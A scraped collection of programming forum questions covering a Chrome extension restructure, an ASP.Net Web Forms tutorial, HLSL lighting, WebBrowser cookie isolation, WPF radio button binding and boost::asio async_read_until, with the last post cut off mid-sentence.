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  • Restructuring a large Chrome Extension/WebApp

    - by A.M.K
    I have a very complex Chrome Extension that has gotten too large to maintain in its current format. I'd like to restructure it, but I'm 15 and this is the first webapp or extension of it's type I've built so I have no idea how to do it. TL;DR: I have a large/complex webapp I'd like to restructure and I don't know how to do it. Should I follow my current restructure plan (below)? Does that sound like a good starting point, or is there a different approach that I'm missing? Should I not do any of the things I listed? While it isn't relevant to the question, the actual code is on Github and the extension is on the webstore. The basic structure is as follows: index.html <html> <head> <link href="css/style.css" rel="stylesheet" /> <!-- This holds the main app styles --> <link href="css/widgets.css" rel="stylesheet" /> <!-- And this one holds widget styles --> </head> <body class="unloaded"> <!-- Low-level base elements are "hardcoded" here, the unloaded class is used for transitions and is removed on load. i.e: --> <div class="tab-container" tabindex="-1"> <!-- Tab nav --> </div> <!-- Templates for all parts of the application and widgets are stored as elements here. I plan on changing these to <script> elements during the restructure since <template>'s need valid HTML. --> <template id="template.toolbar"> <!-- Template content --> </template> <!-- Templates end --> <!-- Plugins --> <script type="text/javascript" src="js/plugins.js"></script> <!-- This contains the code for all widgets, I plan on moving this online and downloading as necessary soon. --> <script type="text/javascript" src="js/widgets.js"></script> <!-- This contains the main application JS. --> <script type="text/javascript" src="js/script.js"></script> </body> </html> widgets.js (initLog || (window.initLog = [])).push([new Date().getTime(), "A log is kept during page load so performance can be analyzed and errors pinpointed"]); // Widgets are stored in an object and extended (with jQuery, but I'll probably switch to underscore if using Backbone) as necessary var Widgets = { 1: { // Widget ID, this is set here so widgets can be retreived by ID id: 1, // Widget ID again, this is used after the widget object is duplicated and detached size: 3, // Default size, medium in this case order: 1, // Order shown in "store" name: "Weather", // Widget name interval: 300000, // Refresh interval nicename: "weather", // HTML and JS safe widget name sizes: ["tiny", "small", "medium"], // Available widget sizes desc: "Short widget description", settings: [ { // Widget setting specifications stored as an array of objects. These are used to dynamically generate widget setting popups. type: "list", nicename: "location", label: "Location(s)", placeholder: "Enter a location and press Enter" } ], config: { // Widget settings as stored in the tabs object (see script.js for storage information) size: "medium", location: ["San Francisco, CA"] }, data: {}, // Cached widget data stored locally, this lets it work offline customFunc: function(cb) {}, // Widgets can optionally define custom functions in any part of their object refresh: function() {}, // This fetches data from the web and caches it locally in data, then calls render. It gets called after the page is loaded for faster loads render: function() {} // This renders the widget only using information from data, it's called on page load. } }; script.js (initLog || (window.initLog = [])).push([new Date().getTime(), "These are also at the end of every file"]); // Plugins, extends and globals go here. i.e. Number.prototype.pad = .... var iChrome = function(refresh) { // The main iChrome init, called with refresh when refreshing to not re-run libs iChrome.Status.log("Starting page generation"); // From now on iChrome.Status.log is defined, it's used in place of the initLog iChrome.CSS(); // Dynamically generate CSS based on settings iChrome.Tabs(); // This takes the tabs stored in the storage (see fetching below) and renders all columns and widgets as necessary iChrome.Status.log("Tabs rendered"); // These will be omitted further along in this excerpt, but they're used everywhere // Checks for justInstalled => show getting started are run here /* The main init runs the bare minimum required to display the page, this sets all non-visible or instantly need things (such as widget dragging) on a timeout */ iChrome.deferredTimeout = setTimeout(function() { iChrome.deferred(refresh); // Pass refresh along, see above }, 200); }; iChrome.deferred = function(refresh) {}; // This calls modules one after the next in the appropriate order to finish rendering the page iChrome.Search = function() {}; // Modules have a base init function and are camel-cased and capitalized iChrome.Search.submit = function(val) {}; // Methods within modules are camel-cased and not capitalized /* Extension storage is async and fetched at the beginning of plugins.js, it's then stored in a variable that iChrome.Storage processes. The fetcher checks to see if processStorage is defined, if it is it gets called, otherwise settings are left in iChromeConfig */ var processStorage = function() { iChrome.Storage(function() { iChrome.Templates(); // Templates are read from their elements and held in a cache iChrome(); // Init is called }); }; if (typeof iChromeConfig == "object") { processStorage(); } Objectives of the restructure Memory usage: Chrome apparently has a memory leak in extensions, they're trying to fix it but memory still keeps on getting increased every time the page is loaded. The app also uses a lot on its own. Code readability: At this point I can't follow what's being called in the code. While rewriting the code I plan on properly commenting everything. Module interdependence: Right now modules call each other a lot, AFAIK that's not good at all since any change you make to one module could affect countless others. Fault tolerance: There's very little fault tolerance or error handling right now. If a widget is causing the rest of the page to stop rendering the user should at least be able to remove it. Speed is currently not an issue and I'd like to keep it that way. How I think I should do it The restructure should be done using Backbone.js and events that call modules (i.e. on storage.loaded = init). Modules should each go in their own file, I'm thinking there should be a set of core files that all modules can rely on and call directly and everything else should be event based. Widget structure should be kept largely the same, but maybe they should also be split into their own files. AFAIK you can't load all templates in a folder, therefore they need to stay inline. Grunt should be used to merge all modules, plugins and widgets into one file. Templates should also all be precompiled. Question: Should I follow my current restructure plan? Does that sound like a good starting point, or is there a different approach that I'm missing? Should I not do any of the things I listed? Do applications written with Backbone tend to be more intensive (memory and speed) than ones written in Vanilla JS? Also, can I expect to improve this with a proper restructure or is my current code about as good as can be expected?

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  • Building an ASP.Net 4.5 Web forms application - part 3

    - by nikolaosk
    ?his is the third post in a series of posts on how to design and implement an ASP.Net 4.5 Web Forms store that sells posters on line.Make sure you read the first and second post in the series.In this new post I will keep making some minor changes in the Markup,CSS and Master page but there is no point in presenting them here. They are just minor changes to reflect the content and layout I want my site to have. What I need to do now is to add some more pages and start displaying properly data from my database.Having said that I will show you how to add more pages to the web application and present data.1) Launch Visual Studio and open your solution where your project lives2) Add a new web form item on the project.Make sure you include the Master Page.Name it PosterList.aspxHave a look at the picture below 3) In Site.Master add the following link to the master page so the user can navigate to it.You should only add the line in bold     <nav>                    <ul id="menu">                        <li><a runat="server" href="~/">Home</a></li>                        <li><a runat="server" href="~/About.aspx">About</a></li>                        <li><a runat="server" href="~/Contact.aspx">Contact</a></li>                          <li><a href="http://weblogs.asp.net/PosterList.aspx">Posters</a></li>                    </ul>                </nav> 4) Now we need to display categories from the database. We will use a ListView web server control.Inside the <div id="body"> add the following code. <section id="postercat">       <asp:ListView ID="categoryList"                          ItemType="PostersOnLine.DAL.PosterCategory"                         runat="server"                        SelectMethod="GetPosterCategories" >                        <ItemTemplate>                                                    <a href="http://weblogs.asp.net/PosterList.aspx?id=<%#: Item.PosterCategoryID %>">                            <%#: Item.PosterCategoryName %>                            </a>                            </b>                        </ItemTemplate>                        <ItemSeparatorTemplate> ----- </ItemSeparatorTemplate>                    </asp:ListView>             </section>        Let me explain what the code does.We have the ListView control that displays each poster category's name.It also includes a link to the PosterList.aspx page with a query-string value containing the ID of the category. We set the ItemType property in the ListView to the PosterCategory entity .We set the SelectMethod property to a method GetPosterCategories. Now we can use the data-binding expression Item (<%#: %>) that is available within the ItemTemplate . 5) Now we must write the GetPosterCategories method. In the Site.Master.cs file add the following code.This is just a simple function that returns the poster categories.        public IQueryable<PosterCategory> GetPosterCategories()        {            PosterContext ctx = new PosterContext();            IQueryable<PosterCategory> query = ctx.PosterCategories;            return query;        } 6) I just changed a few things in the Site.css file to style the new <section> HTML element that includes the ListView control.#postercat {  text-align: center; background-color: #85C465;}     7) Build and run your application. Everything should compile now. Have a look at the picture below.The links (poster categories) appear.?he ListView control when is called during the page lifecycle calls the GetPosterCategories() method.The method is executed and returns the poster categories that are bound to the control.  When I click on any of the poster category links, the PosterList.aspx page will show up with the appropriate Id that is the PosterCategoryID.Have a look at the picture below  We will add more data-enabled controls in the next post in the PosterList.aspx page. Some people are complaining the posts are too long so I will keep them short. Hope it helps!!!

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  • Issues with HLSL and lighting

    - by numerical25
    I am trying figure out whats going on with my HLSL code but I have no way of debugging it cause C++ gives off no errors. The application just closes when I run it. I am trying to add lighting to a 3d plane I made. below is my HLSL. The problem consist when my Pixel shader method returns the struct "outColor" . If I change the return value back to the struct "psInput" , everything goes back to working again. My light vectors and colors are at the top of the fx file // PS_INPUT - input variables to the pixel shader // This struct is created and fill in by the // vertex shader cbuffer Variables { matrix Projection; matrix World; float TimeStep; }; struct PS_INPUT { float4 Pos : SV_POSITION; float4 Color : COLOR0; float3 Normal : TEXCOORD0; float3 ViewVector : TEXCOORD1; }; float specpower = 80.0f; float3 camPos = float3(0.0f, 9.0, -256.0f); float3 DirectLightColor = float3(1.0f, 1.0f, 1.0f); float3 DirectLightVector = float3(0.0f, 0.602f, 0.70f); float3 AmbientLightColor = float3(1.0f, 1.0f, 1.0f); /*************************************** * Lighting functions ***************************************/ /********************************* * CalculateAmbient - * inputs - * vKa material's reflective color * lightColor - the ambient color of the lightsource * output - ambient color *********************************/ float3 CalculateAmbient(float3 vKa, float3 lightColor) { float3 vAmbient = vKa * lightColor; return vAmbient; } /********************************* * CalculateDiffuse - * inputs - * material color * The color of the direct light * the local normal * the vector of the direct light * output - difuse color *********************************/ float3 CalculateDiffuse(float3 baseColor, float3 lightColor, float3 normal, float3 lightVector) { float3 vDiffuse = baseColor * lightColor * saturate(dot(normal, lightVector)); return vDiffuse; } /********************************* * CalculateSpecular - * inputs - * viewVector * the direct light vector * the normal * output - specular highlight *********************************/ float CalculateSpecular(float3 viewVector, float3 lightVector, float3 normal) { float3 vReflect = reflect(lightVector, normal); float fSpecular = saturate(dot(vReflect, viewVector)); fSpecular = pow(fSpecular, specpower); return fSpecular; } /********************************* * LightingCombine - * inputs - * ambient component * diffuse component * specualr component * output - phong color color *********************************/ float3 LightingCombine(float3 vAmbient, float3 vDiffuse, float fSpecular) { float3 vCombined = vAmbient + vDiffuse + fSpecular.xxx; return vCombined; } //////////////////////////////////////////////// // Vertex Shader - Main Function /////////////////////////////////////////////// PS_INPUT VS(float4 Pos : POSITION, float4 Color : COLOR, float3 Normal : NORMAL) { PS_INPUT psInput; float4 newPosition; newPosition = Pos; newPosition.y = sin((newPosition.x * TimeStep) + (newPosition.z / 3.0f)) * 5.0f; // Pass through both the position and the color psInput.Pos = mul(newPosition , Projection ); psInput.Color = Color; psInput.ViewVector = normalize(camPos - psInput.Pos); return psInput; } /////////////////////////////////////////////// // Pixel Shader /////////////////////////////////////////////// //Anthony!!!!!!!!!!! Find out how color works when multiplying them float4 PS(PS_INPUT psInput) : SV_Target { float3 normal = -normalize(psInput.Normal); float3 vAmbient = CalculateAmbient(psInput.Color, AmbientLightColor); float3 vDiffuse = CalculateDiffuse(psInput.Color, DirectLightColor, normal, DirectLightVector); float fSpecular = CalculateSpecular(psInput.ViewVector, DirectLightVector, normal); float4 outColor; outColor.rgb = LightingCombine(vAmbient, vDiffuse, fSpecular); outColor.a = 1.0f; //Below is where the error begins return outColor; } // Define the technique technique10 Render { pass P0 { SetVertexShader( CompileShader( vs_4_0, VS() ) ); SetGeometryShader( NULL ); SetPixelShader( CompileShader( ps_4_0, PS() ) ); } } Below is some of my c++ code. Reason I am showing this is because it is pretty much what creates the surface normals for my shaders to evaluate. for the lighting for(int z=0; z < NUM_ROWS; ++z) { for(int x = 0; x < NUM_COLS; ++x) { int curVertex = x + (z * NUM_VERTSX); indices[curIndex] = curVertex; indices[curIndex + 1] = curVertex + NUM_VERTSX; indices[curIndex + 2] = curVertex + 1; D3DXVECTOR3 v0 = vertices[indices[curIndex]].pos; D3DXVECTOR3 v1 = vertices[indices[curIndex + 1]].pos; D3DXVECTOR3 v2 = vertices[indices[curIndex + 2]].pos; D3DXVECTOR3 normal; D3DXVECTOR3 cross; D3DXVec3Cross(&cross, &D3DXVECTOR3(v2 - v0),&D3DXVECTOR3(v1 - v0)); D3DXVec3Normalize(&normal, &cross); vertices[indices[curIndex]].normal = normal; vertices[indices[curIndex + 1]].normal = normal; vertices[indices[curIndex + 2]].normal = normal; indices[curIndex + 3] = curVertex + 1; indices[curIndex + 4] = curVertex + NUM_VERTSX; indices[curIndex + 5] = curVertex + NUM_VERTSX + 1; v0 = vertices[indices[curIndex + 3]].pos; v1 = vertices[indices[curIndex + 4]].pos; v2 = vertices[indices[curIndex + 5]].pos; D3DXVec3Cross(&cross, &D3DXVECTOR3(v2 - v0),&D3DXVECTOR3(v1 - v0)); D3DXVec3Normalize(&normal, &cross); vertices[indices[curIndex + 3]].normal = normal; vertices[indices[curIndex + 4]].normal = normal; vertices[indices[curIndex + 5]].normal = normal; curIndex += 6; } } and below is my c++ code, in it's entirety. showing the drawing and also calling on the passes #include "MyGame.h" //#include "CubeVector.h" /* This code sets a projection and shows a turning cube. What has been added is the project, rotation and a rasterizer to change the rasterization of the cube. The issue that was going on was something with the effect file which was causing the vertices not to be rendered correctly.*/ typedef struct { ID3D10Effect* pEffect; ID3D10EffectTechnique* pTechnique; //vertex information ID3D10Buffer* pVertexBuffer; ID3D10Buffer* pIndicesBuffer; ID3D10InputLayout* pVertexLayout; UINT numVertices; UINT numIndices; }ModelObject; ModelObject modelObject; // World Matrix D3DXMATRIX WorldMatrix; // View Matrix D3DXMATRIX ViewMatrix; // Projection Matrix D3DXMATRIX ProjectionMatrix; ID3D10EffectMatrixVariable* pProjectionMatrixVariable = NULL; //grid information #define NUM_COLS 16 #define NUM_ROWS 16 #define CELL_WIDTH 32 #define CELL_HEIGHT 32 #define NUM_VERTSX (NUM_COLS + 1) #define NUM_VERTSY (NUM_ROWS + 1) // timer variables LARGE_INTEGER timeStart; LARGE_INTEGER timeEnd; LARGE_INTEGER timerFreq; double currentTime; float anim_rate; // Variable to hold how long since last frame change float lastElaspedFrame = 0; // How long should the frames last float frameDuration = 0.5; bool MyGame::InitDirect3D() { if(!DX3dApp::InitDirect3D()) { return false; } // Get the timer frequency QueryPerformanceFrequency(&timerFreq); float freqSeconds = 1.0f / timerFreq.QuadPart; lastElaspedFrame = 0; D3D10_RASTERIZER_DESC rastDesc; rastDesc.FillMode = D3D10_FILL_WIREFRAME; rastDesc.CullMode = D3D10_CULL_FRONT; rastDesc.FrontCounterClockwise = true; rastDesc.DepthBias = false; rastDesc.DepthBiasClamp = 0; rastDesc.SlopeScaledDepthBias = 0; rastDesc.DepthClipEnable = false; rastDesc.ScissorEnable = false; rastDesc.MultisampleEnable = false; rastDesc.AntialiasedLineEnable = false; ID3D10RasterizerState *g_pRasterizerState; mpD3DDevice->CreateRasterizerState(&rastDesc, &g_pRasterizerState); mpD3DDevice->RSSetState(g_pRasterizerState); // Set up the World Matrix D3DXMatrixIdentity(&WorldMatrix); D3DXMatrixLookAtLH(&ViewMatrix, new D3DXVECTOR3(200.0f, 60.0f, -20.0f), new D3DXVECTOR3(200.0f, 50.0f, 0.0f), new D3DXVECTOR3(0.0f, 1.0f, 0.0f)); // Set up the projection matrix D3DXMatrixPerspectiveFovLH(&ProjectionMatrix, (float)D3DX_PI * 0.5f, (float)mWidth/(float)mHeight, 0.1f, 100.0f); pTimeVariable = NULL; if(!CreateObject()) { return false; } return true; } //These are actions that take place after the clearing of the buffer and before the present void MyGame::GameDraw() { static float rotationAngle = 0.0f; // create the rotation matrix using the rotation angle D3DXMatrixRotationY(&WorldMatrix, rotationAngle); rotationAngle += (float)D3DX_PI * 0.0f; // Set the input layout mpD3DDevice->IASetInputLayout(modelObject.pVertexLayout); // Set vertex buffer UINT stride = sizeof(VertexPos); UINT offset = 0; mpD3DDevice->IASetVertexBuffers(0, 1, &modelObject.pVertexBuffer, &stride, &offset); mpD3DDevice->IASetIndexBuffer(modelObject.pIndicesBuffer, DXGI_FORMAT_R32_UINT, 0); pTimeVariable->SetFloat((float)currentTime); // Set primitive topology mpD3DDevice->IASetPrimitiveTopology(D3D10_PRIMITIVE_TOPOLOGY_TRIANGLELIST); // Combine and send the final matrix to the shader D3DXMATRIX finalMatrix = (WorldMatrix * ViewMatrix * ProjectionMatrix); pProjectionMatrixVariable->SetMatrix((float*)&finalMatrix); // make sure modelObject is valid // Render a model object D3D10_TECHNIQUE_DESC techniqueDescription; modelObject.pTechnique->GetDesc(&techniqueDescription); // Loop through the technique passes for(UINT p=0; p < techniqueDescription.Passes; ++p) { modelObject.pTechnique->GetPassByIndex(p)->Apply(0); // draw the cube using all 36 vertices and 12 triangles mpD3DDevice->DrawIndexed(modelObject.numIndices,0,0); } } //Render actually incapsulates Gamedraw, so you can call data before you actually clear the buffer or after you //present data void MyGame::Render() { // Get the start timer count QueryPerformanceCounter(&timeStart); currentTime += anim_rate; DX3dApp::Render(); QueryPerformanceCounter(&timeEnd); anim_rate = ( (float)timeEnd.QuadPart - (float)timeStart.QuadPart ) / timerFreq.QuadPart; } bool MyGame::CreateObject() { VertexPos vertices[NUM_VERTSX * NUM_VERTSY]; for(int z=0; z < NUM_VERTSY; ++z) { for(int x = 0; x < NUM_VERTSX; ++x) { vertices[x + z * NUM_VERTSX].pos.x = (float)x * CELL_WIDTH; vertices[x + z * NUM_VERTSX].pos.z = (float)z * CELL_HEIGHT; vertices[x + z * NUM_VERTSX].pos.y = (float)(rand() % CELL_HEIGHT); vertices[x + z * NUM_VERTSX].color = D3DXVECTOR4(1.0, 0.0f, 0.0f, 0.0f); } } DWORD indices[NUM_VERTSX * NUM_VERTSY * 6]; int curIndex = 0; for(int z=0; z < NUM_ROWS; ++z) { for(int x = 0; x < NUM_COLS; ++x) { int curVertex = x + (z * NUM_VERTSX); indices[curIndex] = curVertex; indices[curIndex + 1] = curVertex + NUM_VERTSX; indices[curIndex + 2] = curVertex + 1; D3DXVECTOR3 v0 = vertices[indices[curIndex]].pos; D3DXVECTOR3 v1 = vertices[indices[curIndex + 1]].pos; D3DXVECTOR3 v2 = vertices[indices[curIndex + 2]].pos; D3DXVECTOR3 normal; D3DXVECTOR3 cross; D3DXVec3Cross(&cross, &D3DXVECTOR3(v2 - v0),&D3DXVECTOR3(v1 - v0)); D3DXVec3Normalize(&normal, &cross); vertices[indices[curIndex]].normal = normal; vertices[indices[curIndex + 1]].normal = normal; vertices[indices[curIndex + 2]].normal = normal; indices[curIndex + 3] = curVertex + 1; indices[curIndex + 4] = curVertex + NUM_VERTSX; indices[curIndex + 5] = curVertex + NUM_VERTSX + 1; v0 = vertices[indices[curIndex + 3]].pos; v1 = vertices[indices[curIndex + 4]].pos; v2 = vertices[indices[curIndex + 5]].pos; D3DXVec3Cross(&cross, &D3DXVECTOR3(v2 - v0),&D3DXVECTOR3(v1 - v0)); D3DXVec3Normalize(&normal, &cross); vertices[indices[curIndex + 3]].normal = normal; vertices[indices[curIndex + 4]].normal = normal; vertices[indices[curIndex + 5]].normal = normal; curIndex += 6; } } //Create Layout D3D10_INPUT_ELEMENT_DESC layout[] = { {"POSITION",0,DXGI_FORMAT_R32G32B32_FLOAT, 0 , 0, D3D10_INPUT_PER_VERTEX_DATA, 0}, {"COLOR",0,DXGI_FORMAT_R32G32B32A32_FLOAT, 0 , 12, D3D10_INPUT_PER_VERTEX_DATA, 0}, {"NORMAL",0,DXGI_FORMAT_R32G32B32A32_FLOAT, 0 , 28, D3D10_INPUT_PER_VERTEX_DATA, 0} }; UINT numElements = (sizeof(layout)/sizeof(layout[0])); modelObject.numVertices = sizeof(vertices)/sizeof(VertexPos); //Create buffer desc D3D10_BUFFER_DESC bufferDesc; bufferDesc.Usage = D3D10_USAGE_DEFAULT; bufferDesc.ByteWidth = sizeof(VertexPos) * modelObject.numVertices; bufferDesc.BindFlags = D3D10_BIND_VERTEX_BUFFER; bufferDesc.CPUAccessFlags = 0; bufferDesc.MiscFlags = 0; D3D10_SUBRESOURCE_DATA initData; initData.pSysMem = vertices; //Create the buffer HRESULT hr = mpD3DDevice->CreateBuffer(&bufferDesc, &initData, &modelObject.pVertexBuffer); if(FAILED(hr)) return false; modelObject.numIndices = sizeof(indices)/sizeof(DWORD); bufferDesc.ByteWidth = sizeof(DWORD) * modelObject.numIndices; bufferDesc.BindFlags = D3D10_BIND_INDEX_BUFFER; initData.pSysMem = indices; hr = mpD3DDevice->CreateBuffer(&bufferDesc, &initData, &modelObject.pIndicesBuffer); if(FAILED(hr)) return false; ///////////////////////////////////////////////////////////////////////////// //Set up fx files LPCWSTR effectFilename = L"effect.fx"; modelObject.pEffect = NULL; hr = D3DX10CreateEffectFromFile(effectFilename, NULL, NULL, "fx_4_0", D3D10_SHADER_ENABLE_STRICTNESS, 0, mpD3DDevice, NULL, NULL, &modelObject.pEffect, NULL, NULL); if(FAILED(hr)) return false; pProjectionMatrixVariable = modelObject.pEffect->GetVariableByName("Projection")->AsMatrix(); pTimeVariable = modelObject.pEffect->GetVariableByName("TimeStep")->AsScalar(); //Dont sweat the technique. Get it! LPCSTR effectTechniqueName = "Render"; modelObject.pTechnique = modelObject.pEffect->GetTechniqueByName(effectTechniqueName); if(modelObject.pTechnique == NULL) return false; //Create Vertex layout D3D10_PASS_DESC passDesc; modelObject.pTechnique->GetPassByIndex(0)->GetDesc(&passDesc); hr = mpD3DDevice->CreateInputLayout(layout, numElements, passDesc.pIAInputSignature, passDesc.IAInputSignatureSize, &modelObject.pVertexLayout); if(FAILED(hr)) return false; return true; }

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  • Clearing C#'s WebBrowser control's cookies for all sites WITHOUT clearing for IE itself

    - by Helgi Hrafn Gunnarsson
    Hail StackOverflow! The short version of what I'm trying to do is in the title. Here's the long version. I have a bit of a complex problem which I'm sure I will receive a lot of guesses as a response to. In order to keep the well-intended but unfortunately useless guesses to a minimum, let me first mention that the solution to this problem is not simple, so simple suggestions will unfortunately not help at all, even though I appreciate the effort. C#'s WebBrowser component is fundamentally IE itself so solutions with any sorts of caveats will almost certainly not work. I need to do exactly what I'm trying to do, and even a seemingly minor caveat will defeat the purpose completely. At the risk of sounding arrogant, I need assistance from someone who really has in-depth knowledge about C#'s WebBrowser and/or WinInet and/or how to communicate with Windows's underlying system from C#... or how to encapsulate C++ code in C#. That said, I don't expect anyone to do this for me, and I've found some promising hints which are explained later in this question. But first... what I'm trying to achieve is this. I have a Windows.Forms component which contains a WebBrowser control. This control needs to: Clear ALL cookies for ALL websites. Visit several websites, one after another, and record cookies and handle them correctly. This part works fine already so I don't have any problems with this. Rinse and repeat... theoretically forever. Now, here's the real problem. I need to clear all those cookies (for any and all sites), but only for the WebBrowser control itself and NOT the cookies which IE proper uses. What's fundamentally wrong with this approach is of course the fact that C#'s WebBrowser control is IE. But I'm a stubborn young man and I insist on it being possible, or else! ;) Here's where I'm stuck at the moment. It is quite simply impossible to clear all cookies for the WebBrowser control programmatically through C# alone. One must use DllImport and all the crazy stuff that comes with it. This chunk works fine for that purpose: [DllImport("wininet.dll", SetLastError = true)] private static extern bool InternetSetOption(IntPtr hInternet, int dwOption, IntPtr lpBuffer, int lpdwBufferLength); And then, in the function that actually does the clearing of the cookies: InternetSetOption(IntPtr.Zero, INTERNET_OPTION_END_BROWSER_SESSION, IntPtr.Zero, 0); Then all the cookies get cleared and as such, I'm happy. The program works exactly as intended, aside from the fact that it also clears IE's cookies, which must not be allowed to happen. The problem is that this also clears the cookies for IE proper, and I can't have that happen. From one fellow StackOverflower (if that's a word), Sheng Jiang proposed this to a different problem in a comment, but didn't elaborate further: "If you want to isolate your application's cookies you need to override the Cache directory registry setting via IDocHostUIHandler2::GetOverrideKeyPath" I've looked around the internet for IDocHostUIHandler2 and GetOverrideKeyPath, but I've got no idea of how to use them from C# to isolate cookies to my WebBrowser control. My experience with the Windows registry is limited to RegEdit (so I understand that it's a tree structure with different data types but that's about it... I have no in-depth knowledge of the registry's relationship with IE, for example). Here's what I dug up on MSDN: IDocHostUIHandler2 docs: http://msdn.microsoft.com/en-us/library/aa753275%28VS.85%29.aspx GetOverrideKeyPath docs: http://msdn.microsoft.com/en-us/library/aa753274%28VS.85%29.aspx I think I know roughly what these things do, I just don't know how to use them. So, I guess that's it! Any help is greatly appreciated.

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  • MVVM: Binding radio buttons to a view model?

    - by David Veeneman
    I have been trying to bind a group of radio buttons to a view model using the IsChecked button. After reviewing other posts, it appears that the IsChecked property simply doesn't work. I have put together a short demo that reproduces the problem, which I have included below. Here is my question: Is there a straightforward and reliable way to bind radio buttons using MVVM? Thanks. Additional information: The IsChecked property doesn't work for two reasons: When a button is selected, the IsChecked properties of other buttons in the group don't get set to false. When a button is selected, its own IsChecked property does not get set after the first time the button is selected. I am guessing that the binding is getting trashed by WPF on the first click. Demo project: Here is the code and markup for a simple demo that reproduces the problem. Create a WPF project and replace the markup in Window1.xaml with the following: <Window x:Class="WpfApplication1.Window1" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" Title="Window1" Height="300" Width="300" Loaded="Window_Loaded"> <StackPanel> <RadioButton Content="Button A" IsChecked="{Binding Path=ButtonAIsChecked, Mode=TwoWay}" /> <RadioButton Content="Button B" IsChecked="{Binding Path=ButtonBIsChecked, Mode=TwoWay}" /> </StackPanel> </Window> Replace the code in Window1.xaml.cs with the following code (a hack), which sets the view model: using System.Windows; namespace WpfApplication1 { /// <summary> /// Interaction logic for Window1.xaml /// </summary> public partial class Window1 : Window { public Window1() { InitializeComponent(); } private void Window_Loaded(object sender, RoutedEventArgs e) { this.DataContext = new Window1ViewModel(); } } } Now add the following code to the project as Window1ViewModel.cs: using System.Windows; namespace WpfApplication1 { public class Window1ViewModel { private bool p_ButtonAIsChecked; /// <summary> /// Summary /// </summary> public bool ButtonAIsChecked { get { return p_ButtonAIsChecked; } set { p_ButtonAIsChecked = value; MessageBox.Show(string.Format("Button A is checked: {0}", value)); } } private bool p_ButtonBIsChecked; /// <summary> /// Summary /// </summary> public bool ButtonBIsChecked { get { return p_ButtonBIsChecked; } set { p_ButtonBIsChecked = value; MessageBox.Show(string.Format("Button B is checked: {0}", value)); } } } } To reproduce the problem, run the app and click Button A. A message box will appear, saying that Button A's IsChecked property has been set to true. Now select Button B. Another message box will appear, saying that Button B's IsChecked property has been set to true, but there is no message box indicating that Button A's IsChecked property has been set to false--the property hasn't been changed. Now click Button A again. The button will be selected in the window, but no message box will appear--the IsChecked property has not been changed. Finally, click on Button B again--same result. The IsChecked property is not updated at all for either button after the button is first clicked.

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  • boost::asio::async_read_until problem

    - by user368831
    Hi again, I'm modify the boost asio echo example to use async_read_until to read the input word by word. Even though I am using async_read_until all the data sent seems to be read from the socket. Could someone please advise: #include <cstdlib> #include <iostream> #include <boost/bind.hpp> #include <boost/asio.hpp> using boost::asio::ip::tcp; class session { public: session(boost::asio::io_service& io_service) : socket_(io_service) { } tcp::socket& socket() { return socket_; } void start() { std::cout<<"starting"<<std::endl; boost::asio::async_read_until(socket_, buffer, ' ', boost::bind(&session::handle_read, this, boost::asio::placeholders::error, boost::asio::placeholders::bytes_transferred)); } void handle_read(const boost::system::error_code& error, size_t bytes_transferred) { std::ostringstream ss; ss<<&buffer; std::string s = ss.str(); std::cout<<s<<std::endl; if (!error) { boost::asio::async_write(socket_, boost::asio::buffer(s), boost::bind(&session::handle_write, this, boost::asio::placeholders::error)); } else { delete this; } } void handle_write(const boost::system::error_code& error) { std::cout<<"handling write"<<std::endl; if (!error) { } else { delete this; } } private: tcp::socket socket_; boost::asio::streambuf buffer; }; class server { public: server(boost::asio::io_service& io_service, short port) : io_service_(io_service), acceptor_(io_service, tcp::endpoint(tcp::v4(), port)) { session* new_session = new session(io_service_); acceptor_.async_accept(new_session->socket(), boost::bind(&server::handle_accept, this, new_session, boost::asio::placeholders::error)); } void handle_accept(session* new_session, const boost::system::error_code& error) { if (!error) { new_session->start(); new_session = new session(io_service_); acceptor_.async_accept(new_session->socket(), boost::bind(&server::handle_accept, this, new_session, boost::asio::placeholders::error)); } else { delete new_session; } } private: boost::asio::io_service& io_service_; tcp::acceptor acceptor_; }; int main(int argc, char* argv[]) { try { if (argc != 2) { std::cerr << "Usage: async_tcp_echo_server <port>\n"; return 1; } boost::asio::io_service io_service; using namespace std; // For atoi. server s(io_service, atoi(argv[1])); io_service.run(); } catch (std::exception& e) { std::cerr << "Exception: " << e.what() << "\n"; } return 0; } Thanks!

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  • boost::asio::async_read_until problem

    - by user368831
    I'm trying to modify the echo server example from boost asio and I'm running into problem when I try to use boost::asio::async_read_until. Here's the code: #include <cstdlib> #include <iostream> #include <boost/bind.hpp> #include <boost/asio.hpp> using boost::asio::ip::tcp; class session { public: session(boost::asio::io_service& io_service) : socket_(io_service) { } tcp::socket& socket() { return socket_; } void start() { std::cout<<"starting"<<std::endl; boost::asio::async_read_until(socket_, boost::asio::buffer(data_, max_length), ' ', boost::bind(&session::handle_read, this, boost::asio::placeholders::error, boost::asio::placeholders::bytes_transferred)); } void handle_read(const boost::system::error_code& error, size_t bytes_transferred) { std::cout<<"handling read"<<std::endl; if (!error) { boost::asio::async_write(socket_, boost::asio::buffer(data_, bytes_transferred), boost::bind(&session::handle_write, this, boost::asio::placeholders::error)); } else { delete this; } } void handle_write(const boost::system::error_code& error) { if (!error) { /* socket_.async_read_some(boost::asio::buffer(data_, max_length), boost::bind(&session::handle_read, this, boost::asio::placeholders::error, boost::asio::placeholders::bytes_transferred)); */ } else { delete this; } } private: tcp::socket socket_; enum { max_length = 1024 }; char data_[max_length]; }; class server { public: server(boost::asio::io_service& io_service, short port) : io_service_(io_service), acceptor_(io_service, tcp::endpoint(tcp::v4(), port)) { session* new_session = new session(io_service_); acceptor_.async_accept(new_session->socket(), boost::bind(&server::handle_accept, this, new_session, boost::asio::placeholders::error)); } void handle_accept(session* new_session, const boost::system::error_code& error) { if (!error) { new_session->start(); new_session = new session(io_service_); acceptor_.async_accept(new_session->socket(), boost::bind(&server::handle_accept, this, new_session, boost::asio::placeholders::error)); } else { delete new_session; } } private: boost::asio::io_service& io_service_; tcp::acceptor acceptor_; }; int main(int argc, char* argv[]) { try { if (argc != 2) { std::cerr << "Usage: async_tcp_echo_server <port>\n"; return 1; } boost::asio::io_service io_service; using namespace std; // For atoi. server s(io_service, atoi(argv[1])); io_service.run(); } catch (std::exception& e) { std::cerr << "Exception: " << e.what() << "\n"; } return 0; } The problem is when I try to compile I get this weird error: server.cpp: In member function ‘void session::start()’: server.cpp:27: error: no matching function for call to ‘async_read_until(boost::asio::basic_stream_socket &, boost::asio::mutable_buffers_1, char, boost::_bi::bind_t, boost::_bi::list3, boost::arg<1 ()(), boost::arg<2 ()() )’ Can someone please explain what's going on? From what I can tell the arguments to 